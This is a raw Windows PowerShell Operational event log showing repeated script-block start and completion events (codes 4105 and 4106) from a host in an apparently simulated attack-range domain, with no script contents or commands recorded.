Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042234
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042233
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042232
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042231
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042230
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042229
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042228
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042227
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042226
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042225
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042224
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042223
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042222
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042221
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042220
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042219
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042218
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042217
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042216
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042215
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042214
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042213
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042212
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042211
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042210
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042209
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042208
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042207
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042206
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042205
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042204
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042203
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042202
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042201
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042200
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042199
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042198
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042197
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042196
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042195
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042194
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042193
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042192
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042191
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042190
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042189
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042188
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042187
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042186
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042185
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042184
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042183
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042182
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042181
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
